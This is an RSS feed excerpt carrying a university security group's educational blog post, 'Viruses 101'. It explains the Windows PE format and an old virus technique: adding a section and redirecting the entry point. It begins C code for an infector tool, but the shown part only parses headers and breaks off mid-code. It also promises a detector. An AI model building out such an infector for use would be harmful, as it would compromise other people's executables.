&lt;div class="hx:mt-6 hx:leading-7 hx:first:mt-0">Czy Wasza Organizacja też potrzebuje testów bezpieczeństwa swoich urządzeń lub aplikacji? Jeśli checie nawiązać z nami współpracę – zapraszamy do &lt;a href="https://whitehats.pwr.edu.pl/contact-us/">kontaktu&lt;/a>!&lt;/div>
&lt;/div>
&lt;/div></description></item><item><title>[ENG] Viruses 101</title><link>https://whitehats.pwr.edu.pl/blog/2026-02-26-viruses-101/</link><pubDate>Thu, 26 Feb 2026 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2026-02-26-viruses-101/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2026-02-26-viruses-101/dos_stub_hu_2914b48ee77f6d95.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>&lt;strong>Disclaimer: This is not how modern viruses work. Viruses used to work this way 20 years ago, but it&amp;rsquo;s too easy to detect nowadays. Everything is for educational purposes only.&lt;/strong>&lt;/p>
&lt;h3>DOS Header&lt;span class="hx:absolute hx:-mt-20" id="dos-header">&lt;/span>
&lt;a href="#dos-header" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>All Portable Executable (&lt;code>*.exe&lt;/code>) files start with the DOS header. Windows as an operating system is built upon decades-old legacy code inherited from MS-DOS itself. In newer applications, it serves one purpose: in case someone&amp;rsquo;s grandma decides to run a modern app on MS-DOS, it allows said app to display &amp;ldquo;This program cannot be run in DOS mode&amp;rdquo;. Microsoft is very particular when it comes to backwards compatibility (or at least they were prior to Windows 11), even if said compatibility is just displaying &amp;ldquo;this computer belongs in a museum, buy a new one&amp;rdquo;. The DOS header is a fixed-size structure which always starts with two magic bytes &amp;ldquo;MZ&amp;rdquo; and has pretty much only one field of note: something akin to a pointer to the more modern headers.&lt;/p>
&lt;h3>COFF Header&lt;span class="hx:absolute hx:-mt-20" id="coff-header">&lt;/span>
&lt;a href="#coff-header" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>The &amp;ldquo;COFF Header&amp;rdquo; starts with &amp;ldquo;PE&amp;rdquo; (&amp;ldquo;Portable Executable&amp;rdquo;) and contains mostly &amp;ldquo;pointers&amp;rdquo; to other, more important parts. Located just after the COFF header is an &amp;ldquo;Optional Header&amp;rdquo;. Its name comes from the fact that object files might sometimes not have it, even if literally everything else does (bad naming conventions are very common in the Windows API). The optional header contains some useful values, including its own magic number - 0x10b in the case of PE32 (32-bit executables) and 0x20b in the case of PE32+ (64-bit executables). Yes, thirty-two-plus.&lt;/p>
&lt;h3>Sections&lt;span class="hx:absolute hx:-mt-20" id="sections">&lt;/span>
&lt;a href="#sections" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>After that, come the &amp;ldquo;Section Headers&amp;rdquo; - the things we&amp;rsquo;re interested in. These headers contain information about &amp;ldquo;sections&amp;rdquo; - chunks of binary data loaded into memory alongside the program. Sections are perhaps the most important pieces of PE32(+) executables. Without them, you couldn&amp;rsquo;t have any code or data inside the file. Each section header is quite compact and somewhat resembles UEFI protocol structs.&lt;/p>
&lt;h3>Entry point&lt;span class="hx:absolute hx:-mt-20" id="entry-point">&lt;/span>
&lt;a href="#entry-point" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>There are a myriad of ways in which computer viruses can operate, but they require changing files to execute the virus&amp;rsquo;s code. Portable executables, just like ELF, have a &amp;ldquo;pointer&amp;rdquo; called an &amp;ldquo;Entry point&amp;rdquo;. This entry point tells the operating system where the code starts. One of the ways in which a simple virus could work is adding additional sections to an executable, then changing the entry point to that section and inserting a jump to the original entry point to cover up its traces.&lt;/p>
&lt;p>In this article we&amp;rsquo;ll be exploring the details of how this process works by writing a program to do exactly that, as well as writing another program to heuristically detect such changes. Our detector will work only with PE32 files, but it would be very easy to adapt it to work with PE32+ files as well, by simply replacing all &lt;code>IMAGE_*32&lt;/code> structs with &lt;code>IMAGE_*64&lt;/code>.&lt;/p>
&lt;h3>Pseudo &amp;ldquo;virus&amp;rdquo;&lt;span class="hx:absolute hx:-mt-20" id="pseudo-virus">&lt;/span>
&lt;a href="#pseudo-virus" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>We&amp;rsquo;ll be writing our programs in C, for the sole reason that it is the language chosen by some Microsoft employees a long time ago, and in which they wrote the Windows API. It would be fairly easy to rewrite it in another high-level language like C++ or Rust, provided it&amp;rsquo;s not &amp;ldquo;too high level&amp;rdquo; and still provides easy access to files and binary data.&lt;/p>
&lt;p>We&amp;rsquo;ll start writing our program by accepting user input. This could be done in a multitude of ways, but we&amp;rsquo;ll go with command-line arguments dictating an input file to modify, another input file to read our nefarious code from, and an output file to write to:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">argc&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Usage: %s &amp;lt;input PE file&amp;gt; &amp;lt;nefarious code&amp;gt; &amp;lt;nefarious data&amp;gt; &amp;lt;output PE file&amp;gt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">add_new_section&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Then, we can start writing a function that modifies a PE by adding a new section. Let&amp;rsquo;s call it &lt;code>add_new_section&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">add_new_section&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span>&lt;span class="o">*&lt;/span> &lt;span class="n">input_filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">code_filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">data_filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span>&lt;span class="o">*&lt;/span> &lt;span class="n">output_filename&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">input&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">input_filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;r+b&amp;#34;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">code_filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;r+b&amp;#34;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data_filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;r+b&amp;#34;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">output&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output_filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;w+b&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">copy_file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">input&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">copy_file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">input&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buffer&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4096&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">size_t&lt;/span> &lt;span class="n">bytes_read&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">bytes_read&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buffer&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buffer&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">input&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buffer&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bytes_read&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">frewind&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">input&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">frewind&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Next, we can start reading the file. As mentioned before, portable executable files start with a structure called the &amp;ldquo;DOS header&amp;rdquo;. To get access to that structure in our program, we first need to define it ourselves since Microsoft doesn&amp;rsquo;t provide its definitions anywhere (as far as I know):&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl">&lt;span class="k">typedef&lt;/span> &lt;span class="k">struct&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_magic&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Magic number (0x5A4D = MZ)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_cblp&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Bytes on last page of file
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_cp&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Pages in file
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_crlc&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Relocations
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_cparhdr&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Size of header in paragraphs
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_minalloc&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Minimum extra paragraphs needed
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_maxalloc&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Maximum extra paragraphs needed
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_ss&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Initial (relative) SS value
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_sp&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Initial SP value
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_csum&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Checksum
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_ip&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Initial IP value
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_cs&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Initial (relative) CS value
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_lfarlc&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// File address of relocation table
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_ovno&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// Overlay number
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_res&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// Reserved
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_oemid&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// OEM identifier
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_oeminfo&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// OEM information
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint16_t&lt;/span> &lt;span class="n">e_res2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// Reserved
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint32_t&lt;/span> &lt;span class="n">e_lfanew&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// File address of PE header (offset to &amp;#34;PE\0\0&amp;#34;)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="p">}&lt;/span> &lt;span class="n">IMAGE_DOS_HEADER&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>We can read it by simply using:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_DOS_HEADER&lt;/span> &lt;span class="n">dos_header&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">dos_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dos_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">input&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Now, where do we go from here? Portable executable files don&amp;rsquo;t use pointers, and instead they use what they call &amp;ldquo;Relative Virtual Addresses&amp;rdquo; (or RVAs for short). These are offsets from the beginning of the file, and are useful because they hold up no matter where the beginning of the file is loaded in memory. So, to get the address of a struct given some RVA, we need to do:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl">&lt;span class="n">address&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">beginning_of_file&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">RVA&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Fortunately, the C standard library provides us with a way to easily jump to different places in a file: &lt;code>fseek&lt;/code>! We can use it to &amp;ldquo;go to&amp;rdquo; the COFF Header, to which the RVA is stored in the &lt;code>e_lfanew&lt;/code> field (I imagine it gets its name from &amp;ldquo;extended_&amp;rdquo;, &amp;ldquo;long file address&amp;rdquo; and &amp;ldquo;new (headers)&amp;rdquo;):&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fseek&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">input&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">dos_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">e_lfanew&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SEEK_SET&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_FILE_HEADER&lt;/span> &lt;span class="n">file_header&lt;/span>&lt;span class="p">;&lt;/span>
